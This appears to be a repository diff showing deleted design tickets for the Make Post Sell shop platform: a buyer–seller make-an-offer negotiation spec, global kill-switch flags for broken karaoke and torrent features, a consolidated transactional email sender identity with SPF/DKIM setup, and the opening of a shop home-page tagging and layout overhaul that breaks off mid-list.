┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ accepted │ │countered │ │ declined │ │ expired │
└────┬─────┘ └────┬─────┘ └──────────┘ └──────────┘
│ │
│ │ buyer responds: accept / counter / decline / withdraw
│ ▼
│ ┌──────────┐
│ │ pending │ ◄── back to seller (capped at offer_max_rounds)
│ └──────────┘
▼
┌──────────┐
│ paid │ buyer paid via cart at agreed price
└──────────┘
Auto-accept lane (skips pending if offer >= auto_accept_threshold):
open → accepted
Auto-decline lane (skips pending if offer < auto_decline_threshold):
open → declined
```
## Models
### `MpsOffer`
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `product_id` | UUID FK | product |
| `shop_id` | UUID FK | shop |
| `buyer_user_id` | UUID FK | buyer |
| `state` | int | 0=pending 1=accepted 2=countered 3=declined 4=expired 5=withdrawn 6=paid |
| `current_amount_in_cents` | int | latest amount on the table |
| `current_party` | int | 0=buyer's turn 1=seller's turn |
| `created_timestamp` | int (ms) | initial offer time |
| `last_action_timestamp` | int (ms) | last counter/accept/etc |
| `expires_timestamp` | int (ms) | offer auto-expires (default created + 7 days) |
| `paid_timestamp` | int (ms) nullable | populated on cart success |
| `round_count` | int | counter rounds used; cap at shop's `offer_max_rounds` |
| `buyer_message` | UnicodeText nullable | optional buyer note (initial offer) |
| `seller_message` | UnicodeText nullable | optional seller counter note |
### `MpsOfferEvent` (audit log)
| Column | Type | Purpose |
|--------|------|---------|
| `id` | UUID | row id |
| `offer_id` | UUID FK | offer |
| `actor_user_id` | UUID FK | who acted |
| `event_type` | int | 0=open 1=counter 2=accept 3=decline 4=withdraw 5=expire 6=pay |
| `amount_in_cents` | int nullable | amount at this step |
| `message` | UnicodeText nullable | actor's message |
| `created_timestamp` | int (ms) | event time |
## Shop Settings (Form Section: `offer-settings`)
| Field | Default | Purpose |
|-------|---------|---------|
| `offer_enabled` | False | shop master toggle |
| `offer_min_in_cents` | NULL | reject offers below this (per shop floor) |
| `offer_auto_accept_threshold_pct` | 95 | offer ≥ N% of list → auto-accept |
| `offer_auto_decline_threshold_pct` | 50 | offer < N% of list → auto-decline |
| `offer_expiration_hours` | 168 (7d) | how long an offer stays open |
| `offer_max_rounds` | 3 | counter cap before forcing accept/decline |
| `offer_min_buyer_account_age_hours` | 0 | anti-spam (default open) |
Per-product override: `Product.allow_offers` (Boolean). NULL = inherit shop;
True/False = override.
## Views / Routes
```
POST /p/{product_id}/offer buyer submits new offer
GET /o/{offer_id} offer detail (both parties + admin)
POST /o/{offer_id}/counter seller or buyer counters
POST /o/{offer_id}/accept accepts current amount → cart
POST /o/{offer_id}/decline declines, no further action
POST /o/{offer_id}/withdraw buyer pulls offer (pre-acceptance only)
GET /s/{shop_id}/offers seller dashboard
GET /u/{user_id}/offers buyer dashboard
```
When state flips to `accepted`, cart auto-creates a line item at
`current_amount_in_cents`. Buyer hits checkout. Existing payment paths
fire. Cart success hook sets `state=paid` + writes `MpsOfferEvent`.
## Cart Integration
Accepted offer becomes a line item (`mps_cart_offer` association proxy,
mirroring `CartCoupon` and `CartGiftCard`). Cart total is the **agreed
amount**, not the listed price. The line item carries:
- `offer_id` for traceability
- `amount_in_cents` = `current_amount_in_cents` at time of accept
- Standard product transfer on payment
If buyer abandons cart, offer stays `accepted` until `expires_timestamp`
passes (configurable seller setting: re-open or terminal).
## Counter Algorithm
Pure function, fully unit-testable:
```python
def counter_offer(offer, actor, new_amount, message, now_ms):
_validate_actor_turn(offer, actor)
_validate_round_cap(offer)
_validate_floor(offer, new_amount)
offer.current_amount_in_cents = new_amount
offer.current_party = OTHER_PARTY[offer.current_party]
offer.last_action_timestamp = now_ms
offer.round_count += 1
offer.state = STATE_COUNTERED if actor != offer.buyer else STATE_PENDING
DBSession.add(MpsOfferEvent(...))
return offer
```
Round cap forces resolution — no infinite haggling.
## Anti-Abuse
- Min buyer account age (configurable)
- Rate limit: 5 new offers per buyer per shop per day
- Block self-offer (buyer == seller)
- Block offers below `offer_min_in_cents` (silent reject if seller wants
to keep floor secret — return generic flash message)
- Auto-decline threshold filters lowball spam without seller seeing it
## Notifications
Email + on-site:
- New offer received (to seller)
- Offer countered by seller (to buyer)
- Offer countered by buyer (to seller)
- Offer accepted (to other party)
- Offer declined (to other party)
- Offer expiring in 24h (to active party)
- Offer expired (to both)
- Offer paid → standard cart purchase confirmation
## UI Surface
- Product page: "Make an Offer" button (when `allow_offers` resolves True)
next to "Add to Cart"; opens form modal
- Form: amount input, optional message, expires-at indicator
- Auto-accept preview: "Offers ≥ $X are accepted instantly" (only shows the
threshold when shop opts to disclose; default hidden)
- Seller dashboard: offers grouped by state (pending / countered-out / accepted-unpaid / paid / declined / expired)
- Buyer dashboard: same shape, buyer-side terminology
- Offer detail page: full event timeline (renders `MpsOfferEvent` rows)
## Watch Mode SPA
Per CLAUDE.md, all product-specific UI must round-trip through
`updatePageContent` + `watch.py` JSON. Make-offer button + state badge
must update on SPA navigation.
## Go-to-Market
| Surface | Action |
|---------|--------|
| `docs/make-offer.md` | New: state machine + dot diagram + API |
| `docs/architecture.md` | Add offer tables + pricing_mode mode 3/4 to feature matrix |
| `/styleguide` | Offer form, offer state badges, event timeline component |
| `~/git/www.makepostsell.com/index.html` | Feature card: "Make an offer. Negotiate without leaving the listing. Auto-accept good offers. Auto-decline lowballs. Standard checkout." |
| `~/git/www.makepostsell.com/pricing.html` | Make-offer mode listed in plan includes |
| Marketing copy | Position: commission-free negotiation vs. eBay/OfferUp listing fees |
## Files
| File | Change |
|------|--------|
| `make_post_sell/models/offer.py` | New: `MpsOffer`, `MpsOfferEvent` |
| `make_post_sell/models/__init__.py` | Imports |
| `make_post_sell/models/meta.py` | Register both tables |
| `make_post_sell/models/shop.py` | Add 7 offer-* columns |
| `make_post_sell/models/product.py` | Add `allow_offers` (Boolean nullable). If MPS-20 lands first, `pricing_mode` already exists |
| `make_post_sell/models/cart.py` | `CartOffer` association proxy |
| `make_post_sell/views/offer.py` | New: all offer route handlers |
| `make_post_sell/views/shop.py` | `form_section=offer-settings` handler; `offers_dashboard` view |
| `make_post_sell/views/cart.py` | Recognize offer-accepted line item |
| `make_post_sell/views/product.py` | `allow_offers` per-product toggle |
| `make_post_sell/lib/offer.py` | Pure-function counter / accept / decline / withdraw / expire logic |
| `make_post_sell/lib/offer_tick.py` | Scheduled expirations + ending-soon notifications |
| `make_post_sell/lib/email_notifications.py` | Offer email templates |
| `make_post_sell/routes.py` | All offer routes |
| `make_post_sell/templates/offer.j2` | Offer detail page with event timeline |
| `make_post_sell/templates/offers_dashboard.j2` | Seller + buyer dashboard (single template, dual-mode) |
| `make_post_sell/templates/product.j2` | Make-offer button (server-rendered) |
| `make_post_sell/templates/content.j2` | Same |
| `make_post_sell/templates/shop_settings.j2` | `offer-settings` form section |
| `make_post_sell/templates/product_edit.j2` | `allow_offers` toggle |
| `make_post_sell/templates/styleguide.j2` | Component examples |
| `make_post_sell/static/js/offer.js` | Modal form, AJAX submit, state-badge update |
| `make_post_sell/static/js/watch.js` | `updatePageContent` swaps make-offer button + state |
| `make_post_sell/static/css/common.css` | Offer component styles (tokens-only) |
| `make_post_sell/scripts/alembic/versions/XXXX_offer_tables_and_settings.py` | Migration with guards |
| `make_post_sell/scripts/offer_tick.py` | CLI entry point for cron |
| `make_post_sell/tests/test_models.py` | Unit tests |
| `make_post_sell/tests/test_integration.py` | Integration tests |
| `make_post_sell/tests/test_functional.py` | Functional tests |
## Tests
### Unit (`test_models.py`)
- `MpsOffer` state helpers (`is_open`, `is_terminal`, `time_remaining_ms`)
- `MpsOffer.current_party_user` returns buyer or seller correctly
- `lib/offer.counter_offer`:
- wrong-turn raises
- over-cap raises
- below-floor raises
- happy path flips party, increments round, sets state
- `lib/offer.accept_offer` — flips to accepted, writes event, creates cart line
- `lib/offer.decline_offer` / `withdraw_offer` — terminal, no further action
- Auto-accept: offer ≥ threshold → state=accepted directly
- Auto-decline: offer < threshold → state=declined directly
- `Shop.offer_settings_dict` returns shape consumed by template
- `Product.offers_allowed` resolves per-product override + shop default
### Integration (`test_integration.py`)
- Full negotiation: buyer offers → seller counters → buyer accepts → cart
populated at agreed amount → checkout → state=paid
- Round cap forces accept/decline at round_count == max
- Expiration: offer past `expires_timestamp` flipped to expired by tick job
- Auto-accept threshold path
- Auto-decline threshold path (silent — no seller notification)
- BYOB: offer-related thumbnails use shop bucket
- Anti-abuse: 6th offer in 24h from same buyer → 429
- Self-offer (buyer_user_id == seller_user_id) → 403
### Functional (`test_functional.py`)
- `POST /p/{id}/offer` — anon redirect, signed-in 200, self-offer 403
- `GET /o/{id}` — anon 403, buyer 200, seller 200, third party 403, admin 200
- `POST /o/{id}/counter` — wrong turn 400; right turn 200
- `POST /o/{id}/accept` — populates cart line item; cart total = agreed amount
- `POST /o/{id}/decline` / `withdraw` — terminal state, button disappears
- Make-offer button rendered when `allow_offers` resolves True; hidden otherwise
- Watch mode SPA: navigating updates make-offer button visibility + state badge
- Seller dashboard `/s/{shop_id}/offers` — only shop owner; 403 for others
- Buyer dashboard `/u/{user_id}/offers` — only buyer or admin
- `offer-settings` form section POST round-trips all 7 fields
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: enable offers on a shop, opt a product in, submit offer from
a different account, counter from owner, accept, pay via cart, verify
`state=paid` + transfer
3. Test auto-accept (high offer) and auto-decline (low offer) branches
4. Test round cap (3 default) — 4th counter forced to terminal
5. Test expiration via cron + manual tick
6. Email log shows all 8 notification types fire across happy + sad paths
7. Push → CI green → deploy → bump GIT_HASH
8. Update marketing portal index.html + pricing.html
## Coupling Notes
- **MPS-20** introduces `pricing_mode` on `Product`. If MPS-20 lands first,
this ticket reuses that column (modes 3 + 4). If MPS-21 lands first,
add `pricing_mode` here and MPS-20 extends it.
- Cart association proxy pattern: mirror `CartCoupon` / `CartGiftCard`
exactly — ordering rules already defined (gift cards apply after coupons).
Offer line is its own item (single-product cart with agreed price);
doesn't interact with coupon/gift-card discount stack.

140
docs/tickets/mps-22.md
View file

@ -1,140 +0,0 @@
# MPS-22: Kill-Switch Feature Flags — Karaoke + Torrent Off by Default
## Status
**TO IMPLEMENT.** Karaoke (MPS-18) and torrent (MPS-19) are broken in
production. Per-shop opt-in toggles already exist, but shops that flipped
them on still see broken UI. Need a global kill switch above the per-shop
toggle so neither feature surfaces anywhere until fixed.
## Problem
- Karaoke is gated only by `shop.unsandbox_public_key` + `secret_key`. A
shop with creds set sees broken karaoke UI on every product page.
- Torrent is gated only by `shop.torrent_enabled`. Toggle on → broken
magnet button + dead backfill UI.
We don't want to revert the code (the work is real and resumes when
fixed) — we want a global flag that hides the UI and 404s the routes
until we flip it back on.
## Proposal
Mirror the existing `app.features.popout_player.enabled` pattern exactly:
1. **Two new ini settings**, both default `False`:
- `app.features.karaoke.enabled = ${MPS_FEATURES_KARAOKE_ENABLED:-False}`
- `app.features.torrent.enabled = ${MPS_FEATURES_TORRENT_ENABLED:-False}`
2. **Two reified request properties** in `request_methods.py`:
- `request.karaoke_enabled`
- `request.torrent_enabled`
3. **Template guards** wrap every UI surface in `{% if request.X_enabled %}`
4. **View + route guards** return `HTTPNotFound` when flag off (defense in
depth — UI hiding is not security)
5. **Watch JSON** omits karaoke / torrent keys when flag off so SPA
navigation doesn't try to render them
6. **Backfill scripts** skip work when flag off
## Why off-by-default vs `True` like popout_player?
`popout_player` defaults `True` because it works. Karaoke and torrent
default `False` because they don't. When MPS-18 and MPS-19 land, flip
the dev default to `True` and add `MPS_FEATURES_KARAOKE_ENABLED=True`
to `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` for prod.
## UI Surfaces to Hide
### Karaoke
| File | Surface |
|------|---------|
| `templates/shop_settings.j2` | Unsandbox API keys section + backfill button |
| `templates/content.j2` | Karaoke player toggle + URLs |
| `templates/player.j2` | Karaoke audio source switch |
| `templates/snippets/related_content.j2` | Karaoke indicator on related items |
| `templates/home.j2` | Any karaoke discovery / promo |
| `static/js/watch.js` | Karaoke toggle (JSON keys absent → no-op naturally) |
### Torrent
| File | Surface |
|------|---------|
| `templates/shop_settings.j2` | Torrent settings section + backfill UI + status poll |
| `templates/content.j2` | Magnet link button |
| `templates/product_edit.j2` | Per-product opt-in toggle |
## Routes to 404 When Off
| Route | View |
|-------|------|
| `POST /karaoke/{product_id}` | `views/watch.py:karaoke_process` |
| `GET /s/{shop_id}/torrent-backfill-status` | `views/shop.py` |
| Settings `form_section=backfill-karaoke` | `views/shop.py:1019-1023` |
| Settings `form_section=unsandbox-settings` | `views/shop.py` (creds save) |
| Settings `form_section=torrent-settings` | `views/shop.py` |
| Settings `form_section=backfill-torrent` (if added by MPS-19 first) | `views/shop.py` |
| Karaoke trigger in `views/product.py:464-475` | gate on `request.karaoke_enabled` |
## Files
| File | Change |
|------|--------|
| `data/development.ini` | Add 2 feature flag settings, default False |
| `make_post_sell/request_methods.py` | Add 2 reified request properties |
| `make_post_sell/templates/shop_settings.j2` | Wrap karaoke + torrent sections in flag guards |
| `make_post_sell/templates/content.j2` | Wrap karaoke + magnet UI |
| `make_post_sell/templates/player.j2` | Wrap karaoke toggle |
| `make_post_sell/templates/snippets/related_content.j2` | Wrap karaoke indicator |
| `make_post_sell/templates/home.j2` | Wrap any karaoke promo |
| `make_post_sell/templates/product_edit.j2` | Wrap torrent opt-in toggle |
| `make_post_sell/views/watch.py` | 404 `karaoke_process` when off; omit karaoke keys from JSON |
| `make_post_sell/views/content.py` | Omit karaoke keys from template context when off |
| `make_post_sell/views/product.py` | Skip karaoke spawn when off |
| `make_post_sell/views/shop.py` | 404 form_sections + backfill status when off |
| `make_post_sell/scripts/backfill_karaoke.py` | Bail with informative message when off |
| `make_post_sell/tests/test_models.py` | Request property unit tests |
| `make_post_sell/tests/test_integration.py` | Form section refusal when off |
| `make_post_sell/tests/test_functional.py` | UI hidden / routes 404 when off |
| `CLAUDE.md` | Document kill-switch pattern + current flag state |
| `docs/architecture.md` | Add MPS-22 to ticket index |
## Tests
### Unit (`test_models.py`)
- `request.karaoke_enabled` returns False when ini value is `False` / `"False"` / `"0"` / `"no"` / `"off"`
- Returns True when ini value is `True` / `"True"` / `"1"` / `"yes"` / `"on"`
- Defaults to False when key missing (kill-switch posture: silent missing == off)
- Same matrix for `request.torrent_enabled`
### Integration (`test_integration.py`)
- Settings POST `form_section=unsandbox-settings` raises HTTPNotFound when karaoke off
- Settings POST `form_section=backfill-karaoke` raises HTTPNotFound when karaoke off
- Settings POST `form_section=torrent-settings` raises HTTPNotFound when torrent off
- When flag on, same POSTs succeed (existing behavior)
### Functional (`test_functional.py`)
- Shop settings page response **does not contain** strings "Unsandbox", "karaoke", "Backfill Vocal", "torrent", "magnet" when both flags off
- Shop settings page **does contain** them when both flags on
- `POST /karaoke/{product_id}` → 404 when off, 200 when on (with creds)
- `GET /s/{shop_id}/torrent-backfill-status` → 404 when off
- Product page response does not include magnet button or karaoke toggle when off
- Watch JSON response does not include `karaoke_*` or `torrent_*` keys when respective flag off
## Go-to-Market
| Surface | Action |
|---------|--------|
| `~/git/foxhop-pillar/uwsgi/makepostsell/init.sls` | (later) add `MPS_FEATURES_KARAOKE_ENABLED` and `MPS_FEATURES_TORRENT_ENABLED` env vars when ready to flip on |
| `docs/architecture.md` | Note MPS-22 + reference both flags in feature toggle matrix |
| `CLAUDE.md` | Add "Feature Kill Switches" section listing current flags |
No marketing portal change — these are internal flags. Only flip MPS-18 / MPS-19 GTM when those tickets ship.
## Verification
1. `source vars.sh && make test` — all pass
2. Local dev: `make serve`, visit shop settings → no Unsandbox section, no torrent section
3. Visit a product page → no magnet button, no karaoke toggle
4. `curl -X POST /karaoke/{product_id}` → 404
5. Flip both env vars to `True`, restart, verify all UI returns
6. Flip back to `False`, verify clean hide again
7. Push → CI green → deploy → bump GIT_HASH
8. Prod check: visit my.makepostsell.com shop settings, confirm sections gone

95
docs/tickets/mps-23.md
View file

@ -1,95 +0,0 @@
# MPS-23 — Consolidated transactional sender identity + shop contact email
**Status:** Core shipped (2026-05-12) — single sending identity + shop display
name + DNS are live. **Remaining:** the Reply-To / shop-contact-email decision
(see "Open question" below), and the optional `d=origin.makepostsell.com` DKIM
key for author-domain-exact alignment.
## Shipped
- `app.email.sender` defaults to `no-reply@origin.makepostsell.com` (overridable
via `MPS_EMAIL_SENDER`); `app.email.from_name` defaults to `Make Post Sell`.
- `lib/mail.py`: `format_from_header()` helper; `send_pyramid_email()` sets the
From display name to `request.shop.name` when in shop context, else
`email.from_name`. `send_email()` gained a `from_name` kwarg.
- DNS: `origin.makepostsell.com TXT "v=spf1 a a:mx1.foxhop.net -all"` (in
`proxy.unturf.com/ingress/pdns-init.sh`). opendkim on the origin already signs
`*@*.makepostsell.com` with `d=makepostsell.com`, relayed via mx1's warm IP.
- Tests: `TestMailFromHeader` in `test_models.py`.
## Problem
MPS sends each shop's transactional mail (OTP login codes, purchase receipts,
sale notifications, gift cards, offers, invites) `From: no-reply@<request.domain>`
— i.e. from the shop's *own* hostname:
- `my.makepostsell.com` → `no-reply@my.makepostsell.com`
- `<shop>.makepostsell.com` → `no-reply@<shop>.makepostsell.com`
- operator custom domain `shop.unturf.com` → `no-reply@shop.unturf.com`
For operator custom domains, MPS controls no DKIM key for that domain and the
domain's SPF doesn't authorize MPS's sending infrastructure, so the mail is
**unauthenticated** (no DKIM, no SPF pass) → Gmail spam-folders it. Even
`no-reply@my.makepostsell.com` lands in spam on first contact because
`makepostsell.com` is a cold direct-signing identity (its mail historically
went through Mailgun's `mg.makepostsell.com`, never `makepostsell.com` itself).
Background: 2026-05-12 mail-infra work moved both origin boxes
(`origin.makepostsell.com`, `origin.remarkbox.com`) to DKIM-sign at origin and
relay through `mx1.foxhop.net` (warm IP). `my.makepostsell.com` / `*.makepostsell.com`
/ `remarkbox.com` mail now passes SPF+DKIM+DMARC. Operator-custom-domain shops
are the remaining gap, and even the makepostsell ones benefit from one
consistent warmed identity.
## Fix
Send **all** MPS transactional mail from one warm, authenticated identity:
`no-reply@origin.makepostsell.com`.
- opendkim on `origin.makepostsell.com` already signs `*@*.makepostsell.com`
with `d=makepostsell.com` → `no-reply@origin.makepostsell.com` is signed
(DMARC-aligned at the `makepostsell.com` org-domain level under relaxed mode).
- `origin.makepostsell.com` SPF record (added in `proxy.unturf.com/ingress/pdns-init.sh`):
`v=spf1 a a:mx1.foxhop.net -all` → authorizes the origin box + the mx1 relay.
- Result: every shop's mail → DKIM-signed, SPF-pass, DMARC-pass, delivered
from mx1's warm IP — independent of which shop/domain it's for.
Recipient clarity: put the shop name in the display name —
`From: "Acme Shop" <no-reply@origin.makepostsell.com>`.
## Open question — Reply-To / customer support
Shops have no contact email today (`Shop` model has no email/contact column).
If a customer replies to an OTP/receipt it hits `no-reply@…` and vanishes.
Options:
1. **Add `Shop.support_email`** (nullable) + a field in `shop-settings`; set
`Reply-To: <support_email>` when the operator has filled it in. Opt-in,
privacy-safe. *(recommended)*
2. Catch-all `reply@origin.makepostsell.com` → forward to the shop owner's
account email. Requires inbound mail handling + a mapping table.
3. Default `Reply-To` to the shop owner's user email. Simple, but leaks the
owner's personal address.
Until decided: ship without `Reply-To` (honest — it's `no-reply@`).
## Implementation
- **Config:** `app.email.sender = no-reply@origin.makepostsell.com` in
`data/development.ini` + the prod pillar (`foxhop-pillar/uwsgi/makepostsell/init.sls`).
`lib/mail.py:send_pyramid_email` already reads `request.app.get("email.sender", …)`.
- **`lib/mail.py`:** extract `_build_from_header(request, sender_email)` →
`email.utils.formataddr((display_name, sender_email))`, `display_name` =
`request.shop.name` when a shop is in context, else the site name. Add
`Reply-To` per the chosen option. Use the helper in `send_email`/`send_pyramid_email`.
- **DNS (done):** `origin.makepostsell.com|TXT|v=spf1 a a:mx1.foxhop.net -all`.
- **Optional hardening:** dedicated DKIM key for `origin.makepostsell.com`
(publish `<sel>._domainkey.origin.makepostsell.com`, add to opendkim) so the
signature is `d=origin.makepostsell.com` — author-domain-exact rather than
org-aligned. Marginal deliverability gain; not required.
- If option (1): `Shop.support_email` column + Alembic migration (`server_default ''`)
+ `shop-settings` form field + validation + the usual three-layer tests.
- **Tests:** unit (`_build_from_header`, `Shop.support_email`), integration
(shop settings save), functional (settings POST, OTP flow still works).
- **Docs:** `docs/architecture.md` ticket index, `docs/design-system.md` if a
new form field, `CLAUDE.md` note, portal `pricing.html`/`index.html` if
surfaced to users.

949
docs/tickets/mps-24.md
View file

@ -1,949 +0,0 @@
# MPS-24: Shop home page overhaul + product categorization
## Status
**PHASES 1 + 2 SHIPPED (2026-05-15).** Tag model + chip strip +
sectioned-lanes layout + bulk tagger live behind an opt-in `home_layout`
selector (default `0` = flat = unchanged). Phase 2 adds a
title-plus-description auto-tagger surfaced as one-click cluster apply
in the bulk tagger UI + `scripts/backfill_tags.py` CLI. Phase 3
(uncloseai-backed ML categorization behind a kill switch) follows under
this same ticket per CLAUDE.md "One Feature, One Ticket".
**Background:** operator feedback on `shop.printableprompts.com` flagged our
default home page as the reason for considering a move to Shopify. We
needed an opt-in home-page layout overhaul and a way to surface natural
product categories so shoppers can browse a 481-item shop without
scrolling a flat list.
## Problem
`shop.printableprompts.com` is a digital-printables shop with **481 products**,
all K-1 classroom materials. Crawled 2026-05-15 from
`https://shop.printableprompts.com/sitemap.xml`:
- 481 product pages, 2 shop pages, no tag/category pages (none exist).
- Natural groupings are obvious from titles alone: Math (`Addition to 10`,
`Counting to 100`), Seasonal/Holiday (`Valentine's Day`, `St. Patrick's Day`,
`Christmas`), Literacy (`Little Red Hen`, `Frog and Toad`), Science (`Life
Cycle of a Butterfly`, `Solar Eclipse`), Novel Studies (`Stone Fox`,
`Chocolate Touch`), Procedural Writing (`How to Build a Snowman`), Thematic
Units (`Thanksgiving Writing`).
- Our home today renders a flat chronological grid with no way to filter,
group, or jump to a topic.
### Why an operator would reach for Shopify
Shopify shops get **collections** (operator-defined groups), **automated
collections** (rule-based — "all products with tag X"), a sectioned home page
template, collection lanes on home, a faceted product index, and tag-based
search. None of that exists in MPS.
### Current MPS home page
- Route: `home` / `shop` / `shop_slug` → `views/shop.py:212` (`home`) +
`views/shop.py:226` (`shop`).
- Template: `templates/home.j2` (shared by site root + merchant shop).
- Data: `get_products_from_a_shop(shop, visibility=1)` at
`models/product.py:730` — single query, ordered by `updated_timestamp DESC`,
no grouping, no filtering, no pagination.
- Visible features: optional sales-stats banner, flat `.serp` grid, optional
subscription CTA. That's it.
### What we already have (do not rebuild)
| Capability | Where | Notes |
|---|---|---|
| Visibility (public/private/unlisted) | `Product.visibility` (`product.py:130`) | Already filters home grid |
| Digital vs physical | `Product.is_physical` (`product.py:157`) | Binary, not a category |
| Sellable vs content | `Product.is_sellable` (`product.py:154`) | Blog post vs product |
| Pricing modes | `Product.pricing_mode` (`product.py:137`) | Fixed/auction/offer combos |
| Grid lanes (masonry) | `Shop.grid_lanes_enabled` (`shop.py:71`) | Layout polish only |
| Watch mode SPA | `Shop.watch_mode_enabled` (`shop.py:150`) | Sticky media SPA |
| Discovery ring (circular order) | `Shop.json_discovery_ring` (`shop.py:216`) | For watch mode SPA, not home |
| Full-text title search | `views/shop.py:275` → `get_products_by_keywords` (`product.py:740`) | Title `ilike`, no tags, no description |
| Sandbox mode (creative filters) | `Shop.sandbox_mode` (`shop.py:166`) | Image filters — not categorization |
### What we do NOT have
- No `Tag` model. No `Collection` model. No `Category` table. No tag-style
fields on `Product`. No tag-aware search.
- No LLM or embeddings infrastructure inside MPS (karaoke is audio ML routed
to unsandbox; `lib/sentiment.py` is a rule-based comment scorer).
- No featured-item or hero columns on `Shop`.
- No browse routes beyond `/search?keywords=`. No `/tag/X`, `/collection/X`,
`/category/X`.
## Goals — fewest clicks to a purchase
Our checkout flows are done; what's missing is *navigation into* our catalog.
Every design decision below optimises for: **shopper lands → finds a relevant
product → opens it → buys**. Each extra click, extra page, or extra scroll
between "land" and "open" is friction we cut.
1. Opt-in. Default `home_layout = 0` (flat) keeps every existing shop pixel-identical.
2. A flipped-on shop with no tagging effort still produces a usable, grouped
home page within minutes of opt-in — backfill must work without operator
hand-labeling 481 products.
3. Shopper sees the grouping **on land**, not behind a click. Categories live
above the fold; chip click filters in place (no page reload, no extra page).
4. Operator can correct mistakes — auto-grouping is never final state.
5. No new external dependencies on first ship. ML-assisted tagging stays
pluggable, off-by-default, last phase.
## Two orthogonal design dimensions
We have **two independent decisions** that combine to form the overhaul.
Treating them as one decision is what makes the design feel huge — splitting
them lets us ship Phase 1 in a week.
### Dimension A — How products get grouped (categorization mechanism)
| Option | Approach | Operator effort | Quality on day 1 | Infra cost | Reversible? |
|---|---|---|---|---|---|
| **A1** Manual tags | Operator types comma-separated tags per product (or via bulk admin) | High (481 products × a few seconds) | Perfect — operator picks | Tiny — `Tag` + `product_tag` table | Trivial |
| **A2** Manual collections | Operator creates named collections, assigns products | Medium-High | Perfect | Small — `Collection` + `collection_product` table | Trivial |
| **A3** Auto-tag from title keywords | Deterministic rules: tokenize title, strip stopwords, group by shared stems, emit top-N tags | Zero on backfill, low on new uploads (operator confirms suggested tag) | Decent — works very well for printableprompts because titles are descriptive | Tiny — pure Python, no external deps | Trivial |
| **A4** Auto-tag via embeddings + clustering | Embed each product title+description, cluster via K-means or HDBSCAN, label clusters by centroid keyword | Zero | Better than A3 on shops with cryptic titles | Moderate — embedding lib + model file (~100MB) or external API | Trivial (re-cluster) |
| **A5** Auto-tag via LLM | One-shot call per product: "pick 1–3 categories from this taxonomy" | Zero | Best | High — needs LLM API, retry/timeout/cost handling, kill-switch | Trivial (re-run) |
| **A6** Hybrid (A3 or A5 → operator approve) | Auto-suggest tags on product edit form; operator one-click accepts | Zero baseline + low correction | Best — operator owns final state | Same as picked auto-method | Trivial |
**Reads from CLAUDE.md** — "MPS uses one warm sending identity / one source of
truth / one place per fact" — argues we should pick one *storage* for groupings
and let mechanisms write into it. That storage is a `Tag` table. A1/A3/A5 all
write tags. A2 (collections) is a *different* primitive that we may want
on top of tags (a curated subset).
### Dimension B — How groups render on home (layout)
| Option | Layout | Shopper benefit | Implementation |
|---|---|---|---|
| **B1** Sectioned home (Shopify-style lanes) | One horizontal lane per category, products scroll horizontally within each lane; lanes stacked vertically | Browse by topic at-a-glance, see ≤10 per category | New template; loop tags → query per tag (capped) |
| **B2** Filter chips above flat grid | Existing grid stays; chip row at top (`Math · Seasonal · Literacy · ...`); clicking a chip filters the grid in place (no reload — JS optional) | Lightest visual change; preserves chronological signal | Existing template + chip strip + JS `data-tag` filter |
| **B3** Featured + flat grid | Operator picks ≤6 "featured" products shown as large cards; rest of catalog underneath in current flat grid | No categorization needed; operator merchandises | New `featured_product_ids` JSON column; small template addition |
| **B4** Sidebar nav | Left rail with category list; main pane shows filtered grid | Familiar pattern; bad on mobile (we have no sidebar pattern today) | Bigger template lift; mobile collapse |
| **B5** Tag cloud + grid | Cloud at top sized by tag popularity, grid below | Discovery-flavoured; less directed than chips | Similar to B2 but visual variant |
| **B6** Search-first | Big search bar hero, popular searches/tags chips under it, grid below | Best for shops with a known-item search pattern | Promote existing `/search` UI; needs popular-search data we already log in `ShopSearchRequest` |
A and B compose. E.g. **A6 + B1** = "auto-suggest tags with operator approval,
rendered as sectioned lanes." **A1 + B2** = "manual tags, filter chips." Both
ship.
## Phased implementation (all in this ticket)
Per CLAUDE.md "Ticket Scoping" — one feature, one ticket. Phases below land
incrementally but live under one MPS-24 thread.
### Phase 1 — Foundation: tags + filter chips on flat grid (A1 + B2)
Smallest ship that solves the printableprompts feedback. Cuts shopper clicks
from "scroll 481 items" to "click chip, scan ~50, click product."
- New `Tag` model (`id`, `shop_id`, `name`, `slug`, `created_timestamp`).
- New `product_tag` association (composite PK `product_id` + `tag_id`).
- New `Product.tags` relationship (collection, not lazy=dynamic — small N per
product).
- New `Shop.home_layout` `Integer` column, default `0`:
- `0` = flat (current behavior, unchanged)
- `1` = filter chips on flat grid
- `2` = sectioned lanes (Phase 2)
- New form section `home-layout-settings` in `views/shop.py` + `shop_settings.j2`.
- Tag editor: comma-separated input on product edit form (`product_edit.j2`)
— splits, slugifies, upserts `Tag` rows scoped to shop.
- Bulk tag editor: small admin page at `/s/{shop_id}/tags` listing tags +
product counts, click a tag → list of products with checkboxes to
add/remove. (Avoids forcing operator into product-by-product.)
- Home template: if `home_layout == 1`, render chip strip from
`shop.tags_by_popularity()` (top N, capped); chip click adds
`?tag=<slug>` to URL; server filters grid; JS enhancement does it in-place
(zero navigation cost when JS is available).
- Tag detail route: `/s/{shop_id}/tag/{slug}` for crawlers + no-JS users
(capability-driven presentation per CLAUDE.md).
- Filter chips also added to `/search` results so shopper can refine by tag
after a keyword query (`/search?keywords=X&tag=Y`).
### Phase 2 — Sectioned lanes shipped in Phase 1; auto-tag from title + description
Phase 1 already shipped sectioned-lane layout (`home_layout == 2`) — we
brought it forward because rendering the lanes was a one-line template
branch on top of the chip work. What remains for Phase 2 is the
**deterministic title + description auto-tagger** so an operator with 481
untagged products gets a working categorization in one click.
Inputs:
- `Product.title` — full token weight × **3** (short, decisive, intentional).
- `Product.description` — raw markdown stripped of formatting, tokenised,
weight × **1**, capped at the first ~100 unique tokens per product so
long blog posts don't drown short product copy.
Pipeline:
1. Tokenize title + description → lowercased words ≥ 3 chars.
2. Drop platform-default English stopwords + per-shop
`tag_stopwords_json` overrides. For printableprompts that adds
`write`, `room`, `activity`, `the`, etc.
3. Stem with a simple suffix-strip (no Porter port, no new dep) —
`seasonal`/`seasons`/`season` → `season`.
4. Build per-stem product sets across the catalog.
5. Drop stems whose slug already exists as a shop tag (we don't
re-suggest already-applied categories).
6. Keep stems carried by ≥ 2 products; rank by product count desc.
7. For each candidate stem, label = most frequent **original** word for
